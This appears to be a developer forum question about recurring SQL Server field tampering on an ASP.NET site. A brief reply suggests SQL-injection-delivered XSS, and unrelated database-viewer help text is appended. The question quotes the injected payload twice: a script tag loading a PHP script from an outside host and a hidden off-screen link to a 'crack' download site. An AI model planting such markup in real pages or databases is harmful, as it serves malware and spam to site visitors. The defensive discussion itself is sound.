    <p>I am finding my SQL Server database fields getting hacked as follows. Please note that <code>Original Content</code> is existing value of the field and it gets changed to following. </p> <pre><code>Original Content&lt;/title&gt;&lt;script src=http://dfrgcc.com/ur.php&gt;&lt;/script&gt;&lt;/title&gt;&lt;a style=position:absolute;left:-9999px;top:-9999px; href=http://file-dl.com/show.php?id=6 &gt;crack&lt;/a&gt; </code></pre> <p>I assume it's a SQL injection attack. If not, please guide. I have ensured following, however the DB gets hacked every few days.</p> <p>1) All my data access is in dataset files i.e. <code>app_code\DataLayer.xsd</code>. I call my data methods as follows.</p> <pre><code>Dim memberDAL As new membersTableAdapter Dim memberName As String = tbName.text memberDAL.insertMember(memberName) </code></pre> <p>Does above code gets qualified as parametrized query. Is it safe data access as far as my problem is concerned. All data access is done in this manner. There are number of forms with lot of input fields, and the content DOES go in database. However what seems to be happening is not INSERT but a UPDATE. Even membership tables are being affected. e.g. in <code>aspnet_users</code> table a username called 'admin' changes to following.</p> <pre><code>admin&lt;/title&gt;&lt;script src=http://dfrgcc.com/ur.php&gt;&lt;/script&gt;&lt;/title&gt;&lt;a style=position:absolute;left:-9999px;top:-9999px; href=http://file-dl.com/show.php?id=1 &gt;crack&lt;/a&gt;&lt;/title&gt;&lt;script src=http://dfrgcc.com/ur.php&gt;&lt;/script&gt; </code></pre> <p>2)I have used CAPTCHA to exclude bots, but this did not help.</p> <p>I am on shared host, as per server admin I need to sanitize my code. Please advise.</p>

    1. COAlthough everyone is down voting my answer I have seen this kind of XSS code injected through SQL injection on a site. The reason I think this may be the case is that you show "Original Content" in the DB which has been changed to include the XSS code. If this content is user generated instead then yes you should sanitize you input and output with HTML Encoding.

A row detail

Detail views are divided into sections. All the information in the data section comes from columns in the selected row. The other sections display data from other, related rows.

Related data can be related in a to-one or a to-many fashion. Captions of data related in a to-many fashion link to a list view showing a filtered view of the table.

Try moving around until you find a non-empty to-many entry and click on the label to get to one. You can move back to the root by clicking on the database name in the header.
